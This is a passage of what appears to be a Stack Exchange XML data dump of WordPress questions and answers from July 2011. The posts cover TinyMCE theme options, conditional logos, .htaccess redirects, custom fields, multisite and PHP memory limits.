  <row Id="22612" PostTypeId="2" ParentId="22594" CreationDate="2011-07-11T10:36:48.110" Score="0" ViewCount="" Body="&lt;p&gt;If you can log in to your WP Admin, remove the plugin from there. Otherwise, go through FTP and remove the offending plugin through wp/wp-content/plugins/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After removing, your site should run properly without the error.&lt;/p&gt;&#xA;" OwnerUserId="6928" LastActivityDate="2011-07-11T10:36:48.110" CommentCount="1" />
  <row Id="22613" PostTypeId="1" CreationDate="2011-07-11T10:44:20.423" Score="-1" ViewCount="23" Body="&lt;p&gt;I am using custom fields. whatever we define in add new custom field shows up in dropdown on refreshing, due to some reason thumbnail word doesn't adds up in dropdown.. And where in my wordpress, i can manually edit and add custom fields dropdown?&lt;/p&gt;&#xA;" OwnerUserId="6929" LastActivityDate="2011-07-11T14:01:46.140" Title="not able to add thumbnail custom field in dropdown" Tags="&lt;wp-admin&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22614" PostTypeId="1" AcceptedAnswerId="22622" CreationDate="2011-07-11T10:46:01.613" Score="0" ViewCount="48" Body="&lt;p&gt;I'm using the code below to add a logo in the header of certain pages and I'm wodering if there a way to add the logo(sublogo.jpg) to certain categories as well as &quot;page-one&quot;, &quot;page-two&quot; and so on?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;header-logo&quot; onclick=&quot;location.href='&amp;lt;?php bloginfo('url'); ?&amp;gt;'&quot; style=&quot;cursor: pointer;&quot; &amp;gt;&#xA;    &amp;lt;?php if (is_page(array('page-one', 'page-two', 'page-three','page-four'))) $logo_image = 'subLogo.jpg';&#xA;    else $logo_image = 'mainLogo.jpg';?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('stylesheet_directory'); ?&amp;gt;/images/&amp;lt;?php echo $logo_image;?&amp;gt;&quot; alt=&quot;&amp;lt;?php bloginfo('name'); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="6787" LastActivityDate="2011-07-11T12:08:47.703" Title="How to get a page array and category array going at the same time?" Tags="&lt;array&gt;" AnswerCount="1" />
  <row Id="22615" PostTypeId="2" ParentId="22575" CreationDate="2011-07-11T10:51:33.900" Score="1" ViewCount="" Body="&lt;p&gt;1) WordPress MultiUser (WPMU) was the term used before WP3. WPMS is for version 3 and newer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Subsite posts appearing on the main site is built into BuddyPress. You will need to install BP to your multisite setup for this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) There are several plugins that achieve this either through a) a single user database shared across all sites, or b) duplication of users with differing user permissions per site.&lt;/p&gt;&#xA;" OwnerUserId="6928" LastActivityDate="2011-07-11T10:51:33.900" />
  <row Id="22616" PostTypeId="2" ParentId="22526" CreationDate="2011-07-11T11:07:14.480" Score="0" ViewCount="" Body="&lt;p&gt;You can use almost any hosting plan with domain mapping. As long as your host allows parked domains and htaccess, it will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a shared hosting plan with domain mapping multisite and have not encountered any problems.&lt;/p&gt;&#xA;" OwnerUserId="6928" LastActivityDate="2011-07-11T11:07:14.480" />
  <row Id="22617" PostTypeId="2" ParentId="22442" CreationDate="2011-07-11T11:18:15.953" Score="0" ViewCount="" Body="&lt;p&gt;I can think of 2 approaches to try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can use a referrer variable within the link such as:&#xA;domain-two.net/blog/?ref=blog2&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The receiving blog should watch out for the content of the ref variable.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can just copy domain-one.com into domain-two.net/blog, then access the database of domain-one.com remotely via wp-config.php&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6928" LastActivityDate="2011-07-11T11:18:15.953" />
  <row Id="22618" PostTypeId="2" ParentId="22607" CreationDate="2011-07-11T11:20:22.930" Score="0" ViewCount="" Body="&lt;p&gt;Because I have a Theme and several Plugins in the WPORG repositories, I start running nightlies as soon as Beta hits, so that I can test for compatibility issues. I have yet to run into any kind of issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I do daily, automatic backups of my DB, so if something goes horribly wrong with an upgrade, no worries; just re-install the previous version, and import the DB. There's really no reason to think of backups as &quot;boring&quot; (there are plenty of Plugins to automate it), or restoring an older version of WP as an &quot;awful perspective&quot; (the install process really is 5 minutes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would consider to be an &quot;awful perspective&quot; would be the thought of having to recover from my site being hacked due to a failure to keep WordPress updated whenever a new version is released. &lt;em&gt;That&lt;/em&gt; would certainly take &lt;em&gt;far&lt;/em&gt; longer than a 5-minute re-install.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-11T11:20:22.930" />
  <row Id="22619" PostTypeId="1" CreationDate="2011-07-11T11:35:07.253" Score="0" ViewCount="169" Body="&lt;p&gt;On the site I'm currently developing I have created a theme options page (under Appearance). All there is on this page is a text area so the client can add some summary text to appear above their posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using TinyMCE on this textarea so they can format their text, but if I have TinyMCE enabled the 'Save Options' button doesn't do anything upon clicking it. If I comment out the following lines in my theme-options file to disable TinyMCE, then it saves correctly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    wp_tiny_mce( false , // true makes the editor &quot;teeny&quot;&#xA;        array(&#xA;            &quot;editor_selector&quot; =&amp;gt; &quot;large-text&quot;&#xA;        )&#xA;    );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; The TinyMCE loads and displays correctly - text can be formatted, just not saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what could be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using WordPress 3.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Thanks!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; The entire code in my &lt;em&gt;theme-options.php&lt;/em&gt; file is as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;add_action( 'admin_init', 'theme_options_init' );&#xA;add_action( 'admin_menu', 'theme_options_add_page' );&#xA;&#xA;/**&#xA; * Init plugin options to white list our options&#xA; */&#xA;function theme_options_init(){&#xA;    register_setting( 'client_options', 'client_theme_options', 'theme_options_validate' );&#xA;}&#xA;&#xA;/**&#xA; * Load up the menu page&#xA; */&#xA;function theme_options_add_page() {&#xA;    add_theme_page( __( 'Intro/Welcome Text', 'client' ), __( 'Intro/Welcome Text', 'client' ), 'edit_theme_options', 'theme_options', 'theme_options_do_page' );&#xA;}&#xA;&#xA;&#xA;/**&#xA; * Create the options page&#xA; */&#xA;function theme_options_do_page() {&#xA;    global $select_options, $radio_options;&#xA;&#xA;    if ( ! isset( $_REQUEST['settings-updated'] ) )&#xA;        $_REQUEST['settings-updated'] = false;&#xA;&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;        &amp;lt;?php screen_icon(); echo &quot;&amp;lt;h2&amp;gt;&quot; . __( ' Intro/Welcome Text', 'client' ) . &quot;&amp;lt;/h2&amp;gt;&quot;; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if ( false !== $_REQUEST['settings-updated'] ) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;updated fade&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php _e( 'Options saved', 'client' ); ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot;&amp;gt;&#xA;            &amp;lt;?php settings_fields( 'client_options' ); ?&amp;gt;&#xA;            &amp;lt;?php $options = get_option( 'client_theme_options' ); ?&amp;gt;&#xA;            &amp;lt;?php&#xA;            wp_tiny_mce( true , // true makes the editor &quot;teeny&quot;&#xA;                array(&#xA;                    &quot;editor_selector&quot; =&amp;gt; &quot;large-text&quot;&#xA;                )&#xA;            );&#xA;            ?&amp;gt;&#xA;            &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;&#xA;                &amp;lt;?php&#xA;                /**&#xA;                 * A sample textarea option&#xA;                 */&#xA;                ?&amp;gt;&#xA;                &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;th scope=&quot;row&quot;&amp;gt;&amp;lt;?php _e( 'Intro/Welcome Text' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;textarea id=&quot;client_theme_options[intro_content]&quot; class=&quot;large-text&quot; cols=&quot;50&quot; rows=&quot;10&quot; name=&quot;client_theme_options[intro_content]&quot;&amp;gt;&amp;lt;?php echo esc_textarea( $options['intro_content'] ); ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                        &amp;lt;label class=&quot;description&quot; for=&quot;client_theme_options[intro_content]&quot;&amp;gt;&amp;lt;?php _e( 'Enter content here to be displayed above the &amp;lt;em&amp;gt;&amp;lt;strong&amp;gt;Posts&amp;lt;/strong&amp;gt;&amp;lt;/em&amp;gt;.', 'client' ); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;&#xA;            &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php _e( 'Save Options', 'client' ); ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;/**&#xA; * Sanitize and validate input. Accepts an array, return a sanitized array.&#xA; */&#xA;function theme_options_validate( $input ) {&#xA;    global $select_options, $radio_options;&#xA;&#xA;    // Our checkbox value is either 0 or 1&#xA;    if ( ! isset( $input['option1'] ) )&#xA;        $input['option1'] = null;&#xA;    $input['option1'] = ( $input['option1'] == 1 ? 1 : 0 );&#xA;&#xA;    // Say our text option must be safe text with no HTML tags&#xA;    $input['sometext'] = wp_filter_nohtml_kses( $input['sometext'] );&#xA;&#xA;    // Our select option must actually be in our array of select options&#xA;    if ( ! array_key_exists( $input['selectinput'], $select_options ) )&#xA;        $input['selectinput'] = null;&#xA;&#xA;    // Our radio option must actually be in our array of radio options&#xA;    if ( ! isset( $input['radioinput'] ) )&#xA;        $input['radioinput'] = null;&#xA;    if ( ! array_key_exists( $input['radioinput'], $radio_options ) )&#xA;        $input['radioinput'] = null;&#xA;&#xA;    // Say our textarea option must be safe text with the allowed tags for posts&#xA;    $input['sometextarea'] = wp_filter_post_kses( $input['sometextarea'] );&#xA;&#xA;    return $input;&#xA;}&#xA;&#xA;// adapted from http://planetozh.com/blog/2009/05/handling-plugins-options-in-wordpress-28-with-register_setting/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3670" LastEditorUserId="3670" LastEditorDisplayName="" LastEditDate="2011-07-11T13:01:17.740" LastActivityDate="2011-08-12T23:23:06.220" Title="Unable to save Theme Options when TinyMCE is enabled for the text area" Tags="&lt;tinymce&gt;&lt;theme-options&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22620" PostTypeId="2" ParentId="22607" CreationDate="2011-07-11T11:42:55.870" Score="0" ViewCount="" Body="&lt;p&gt;It is not that hard to get a local webserver running on your pc.&#xA;The apple air even comes pre-installed with a server, so as far as I am concerned there is no exscuse not to have a local test server at the very least.  having at least one remote test site is also useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I kept a nightly beta version going as well as the last 2 stable versions with copies of all the plugins that I use on sites activated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All versions point to the same wp-content folder, so the same versions of the plugins are tested in all versions of wp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I update regularly so that there is no big jump in functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One must simply factor in the overhead of all of that. &lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2011-07-11T11:42:55.870" />
  <row Id="22621" PostTypeId="1" CreationDate="2011-07-11T11:58:32.903" Score="0" ViewCount="39" Body="&lt;p&gt;I need to create a search on a certian post tyee and then be able to have a checkboxes and dropdowns to search custom fields and custom taxonomies (categories and tags).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have started off by creating a form that has a field in it that when sent i use that to filter the search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far i can get it to search jsut teh one post type but i do not know how to do multiple cusotm fields or how to search the taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any help?&lt;/p&gt;&#xA;" OwnerUserId="6224" LastActivityDate="2011-07-11T11:58:32.903" Title="Custom search using custom fields, post type, and custom taxonomy" Tags="&lt;search&gt;" />
  <row Id="22622" PostTypeId="2" ParentId="22614" CreationDate="2011-07-11T12:08:47.703" Score="2" ViewCount="" Body="&lt;p&gt;extend this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_page(array('page-one', 'page-two', 'page-three','page-four'))) $logo_image = 'subLogo.jpg';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|| is_category(array('cat-1', 'cat-2'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so you get, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_page(array('page-one', 'page-two', 'page-three','page-four')) || is_category(array('cat-1', 'cat-2')) ) $logo_image = 'subLogo.jpg';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_category&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/is_category&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-07-11T12:08:47.703" CommentCount="1" />
  <row Id="22624" PostTypeId="2" ParentId="12498" CreationDate="2011-07-11T13:01:45.373" Score="0" ViewCount="" Body="&lt;p&gt;If &lt;strong&gt;ALL&lt;/strong&gt; your posts have the &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; tag, then you can use the following with your code above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sjc_excerpt = explode( '&amp;lt;!--more--&amp;gt;', $post-&amp;gt;post_content); &#xA;echo wpautop( $sjc_excerpt[0] );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course if you have any posts that don't have the &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; tag, they'll be shown in their entirety. Works in my situation, but not for all...&lt;/p&gt;&#xA;" OwnerUserId="2518" LastActivityDate="2011-07-11T13:01:45.373" />
  <row Id="22625" PostTypeId="1" AcceptedAnswerId="22632" CreationDate="2011-07-11T13:12:41.237" Score="1" ViewCount="98" Body="&lt;p&gt;I changed the name of two of my custom post types. The original slugs for them did not properly reflect the post type. So I need to redirect requests for posts beginning with &lt;code&gt;designer_lingerie&lt;/code&gt; (the old post type slug) to just &lt;code&gt;designer&lt;/code&gt;. All of the posts are the same just the post type slug has changed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure I'll need to use &lt;code&gt;.htaccess&lt;/code&gt; but am unsure of what to tell it to change. Basically what URL should I use to do this? The WordPress pretty URL or the default URL?&lt;/p&gt;&#xA;" OwnerUserId="5391" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-07-11T15:55:47.870" LastActivityDate="2011-07-13T20:13:34.897" Title="Redirecting when changing custom post type slugs?" Tags="&lt;custom-post-types&gt;&lt;url-rewriting&gt;&lt;redirect&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="22626" PostTypeId="2" ParentId="22602" CreationDate="2011-07-11T13:32:07.027" Score="0" ViewCount="" Body="&lt;p&gt;Mostly a dupe: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9076/why-is-my-database-import-losing-text-widget-data&quot;&gt;Why is my database import losing text widget data?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing a search and replace on an sql dump breaks URLs in the serialized data of widgets and theme options. See the link above for better ways to change URLs when moving WP sites.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-11T13:32:07.027" CommentCount="1" />
  <row Id="22627" PostTypeId="2" ParentId="22619" CreationDate="2011-07-11T13:50:23.233" Score="0" ViewCount="" Body="&lt;p&gt;What output do you get on-submit, if you add the following to the top of your sanitization callback:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump( $input ); die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i.e. add it here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function theme_options_validate( $input ) {&#xA;    var_dump( $input ); die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compare the results &lt;strong&gt;with&lt;/strong&gt; and &lt;strong&gt;without TinyMCE&lt;/strong&gt;. Let's figure out what's changing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: this isn't &lt;em&gt;directly&lt;/em&gt; related to the issue you're having (at least, I &lt;em&gt;think&lt;/em&gt; it isn't), but your sanitization callback doesn't actually sanitize the input you're sending it, i.e. &lt;code&gt;client_theme_options['intro_text']&lt;/code&gt;. It appears to be a conglomeration of copy-pasta, example sanitization functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to sanitize your &lt;em&gt;actual&lt;/em&gt; option, probably with a &lt;code&gt;wp_filter_post_kses()&lt;/code&gt; filter, since you're allowing for HTML input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you are having a similar issue to &lt;a href=&quot;http://stackoverflow.com/questions/2122085/problem-jquery-and-tinymce-textarea-value-doesnt-submit&quot;&gt;this other SO questioner&lt;/a&gt;, in which the textarea data isn't being submitted, because of the way that TinyMCE hijacks the textarea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solutions to that question included:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;before submit call tinyMCE.triggerSave();&lt;/li&gt;&#xA;&lt;li&gt;And this suggestion:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Add a hidden field to the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; id=&quot;question_html&quot; name=&quot;question_html&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before posting the form, get the data from the editor and put in the hidden field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#question_html').val(tinyMCE.get('question_text').getContent());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's &lt;a href=&quot;http://stackoverflow.com/questions/5658029/wordpress-tinymce-not-submitting-content&quot;&gt;another SO question related to the same issue&lt;/a&gt;. It suggests using this script code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var editor = tinymce.get( editor_id);&#xA;editor.save();  // writes content back to the textarea&#xA;// you may now use jQuery or editor.getContent(); to acces the content&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Which I think is similar to the other suggestions.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if any of those would be helpful?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-13T16:20:10.117" LastActivityDate="2011-07-13T16:20:10.117" CommentCount="11" />
  <row Id="22628" PostTypeId="2" ParentId="22625" CreationDate="2011-07-11T13:54:29.830" Score="0" ViewCount="" Body="&lt;p&gt;If you change the permalinks but not the underlying structure WordPress should be able to find your posts, since the 'real' url structure is still the same. In other words if you only change the permalinks it should automatically redirect to the right location.&lt;/p&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-07-11T13:54:29.830" CommentCount="1" />
  <row Id="22630" PostTypeId="2" ParentId="22613" CreationDate="2011-07-11T14:01:46.140" Score="0" ViewCount="" Body="&lt;p&gt;I just tested this by adding the customfield 'thumbnail' to my post and it showed up in the dropdown. I'm using WordPress 3.2 (Multisite). What version are you using? Have you tried it without any plugins with the default theme? Does it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your second question: WordPress has no global interface for editting customfields. You may check the plugin repository if there is a plugin available which allows you to do this.   &lt;/p&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-07-11T14:01:46.140" />
  <row Id="22631" PostTypeId="1" CreationDate="2011-07-11T14:06:55.283" Score="1" ViewCount="39" Body="&lt;p&gt;I've implemented this code inside my author.php file, in order to display the username of the author:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php printf( &quot;&amp;lt;h4&amp;gt;The blog of&amp;lt;a href='&quot; . get_author_posts_url( get_the_author_meta( 'ID' ) ) . &quot;' title='&quot; . esc_attr( get_the_author() ) . &quot;' rel='me'&amp;gt;&quot; . get_the_author() . &quot;&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&quot; ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It displays correctly the username of a user who has posted articles, but unfortunately displays another username when the user hasn't published anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to solve that ? Thanks for your help !&lt;/p&gt;&#xA;" OwnerUserId="6831" LastActivityDate="2011-08-10T18:22:02.267" Title="get the username of a user in his author page" Tags="&lt;author&gt;" AnswerCount="1" />
  <row Id="22632" PostTypeId="2" ParentId="22625" CreationDate="2011-07-11T14:08:25.547" Score="-1" ViewCount="" Body="&lt;p&gt;All you need to do is add a line like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^aboutus$ /about-us [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In to your .htaccess file. The old url should go between the ^ and $ and then new url after the slash.&lt;/p&gt;&#xA;" OwnerUserId="3365" LastEditorUserId="3365" LastEditorDisplayName="" LastEditDate="2011-07-11T15:01:28.683" LastActivityDate="2011-07-11T15:01:28.683" CommentCount="4" />
  <row Id="22633" PostTypeId="2" ParentId="22575" CreationDate="2011-07-11T14:08:33.417" Score="0" ViewCount="" Body="&lt;p&gt;2) There are several options to choose from to show posts from a subdomain on your main site. You may use rss feeds, a plugin such as bbAggregate (disclaimer: I'm the plugin author) or BuddyPress as suggested by Bitmap Media, although just using BuddyPress for this rather small options seems like overkill to me. It all depends on what you would like to achieve. What would like to achieve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) The answer given by Bitmap Media is incomplete. WordPress Multisite allows you to login once to access all your sites. As long as you user has been granted access to this site.     &lt;/p&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-07-11T14:08:33.417" />
  <row Id="22634" PostTypeId="2" ParentId="22123" CreationDate="2011-07-11T14:08:56.057" Score="0" ViewCount="" Body="&lt;p&gt;Or you could use the &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; tag to mark up to what point your posts should be displayed.&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-07-11T14:08:56.057" />
  <row Id="22635" PostTypeId="2" ParentId="21924" CreationDate="2011-07-11T14:12:00.127" Score="0" ViewCount="" Body="&lt;p&gt;Perhaps you can use this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/multisite-global-search/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/multisite-global-search/&lt;/a&gt; it uses MySQL views to achieve a global search. Maybe you can use it, or adapt it to your needs?&lt;/p&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-07-11T14:12:00.127" />
  <row Id="22636" PostTypeId="2" ParentId="22631" CreationDate="2011-07-11T14:13:12.703" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at the codex page on author templates: &lt;a href=&quot;http://codex.wordpress.org/Author_Templates&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Author_Templates&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially the $curauth object.&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-07-11T14:13:12.703" CommentCount="2" />
  <row Id="22637" PostTypeId="2" ParentId="22625" CreationDate="2011-07-11T14:19:13.290" Score="0" ViewCount="" Body="&lt;p&gt;WP retains the corresponding metadata regarding the original non-pretty permalink and any changes to standard permalinks. See &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Using_Permalinks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have non-pretty permalinks in post/page content or leave them hardcoded anywhere, WP will redirect those to the pretty version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you change the URL directly in the post/page editor, you do need to redirect. One of the ways to handle that is with a plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;WordPress › Redirection « WordPress Plugins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-11T14:19:13.290" />
  <row Id="22638" PostTypeId="2" ParentId="19325" CreationDate="2011-07-11T14:20:57.590" Score="0" ViewCount="" Body="&lt;p&gt;If this is not occurring on your local installation: have you checked your webserver's configuration? Since the locally it works and it seems to work for the 404's of your subsites of your mainsite I would check this and make sure no plugins are activated during debugging this issue. If you use Apache with mod_rewrite you may want to check the logfiles (make sure it's enabled). I hope this helps! &lt;/p&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-07-11T14:20:57.590" />
  <row Id="22639" PostTypeId="2" ParentId="22512" CreationDate="2011-07-11T14:24:03.890" Score="0" ViewCount="" Body="&lt;p&gt;Using FTP, try increasing the memory for PHP and Wordpress by editing the memory_limit line in your php.ini (if you have access to it) to 64M or 128M, which should be fine for non-multisite installs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;memory_limit = 64M;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't get to the php.ini file, add this line at the top of your .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;php_value memory_limit 64M&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work or throws an error, add this line near the top of your wp-config.php file right after the opening  &lt;code&gt;&amp;lt;?php&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;define('WP_MEMORY_LIMIT', '64M');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But your host may limit changes to .htaccess in your account and to the host-wide php.ini, so these may not work. if not, ask your host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can run phpinfo to see what kind of memory allocation you already have. Make a plain text file and call it phpinfo.php  and put just this line in it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php phpinfo(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then put the file in the root of your server, and then go to that file with your web browser. You'l see all the php info you need; scroll down for memory settings. If you get an error, that means your server company won't allow phpinfo to run for security reasons.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-11T14:24:03.890" CommentCount="2" />
  <row Id="22640" PostTypeId="1" CreationDate="2011-07-11T14:24:20.403" Score="0" ViewCount="40" Body="&lt;p&gt;I've been trying this for quite a while now, but after even crashing my whole Wordpress while messing around with the index.php I thought it's better to ask people who actually know what they're doing unlike me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want to completely change the look of the &quot;latest posts&quot; few on my homepage/front page.&#xA;I want it to kind of like look like in the following themes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.intenseblog.com/wordpress/theproton-brand-new-free-premium-wordpress-theme.html&quot; rel=&quot;nofollow&quot;&gt;TheProton&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.elegantthemes.com/preview/Aggregate/&quot; rel=&quot;nofollow&quot;&gt;Aggregate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I don't have a &quot;front page&quot; set, so my blog is my front page. &#xA;I don't think that I have to set a front page in order to do what I want, right?&#xA;I've had themes like the ones above installed and they worked without having a set front page that wasn't my 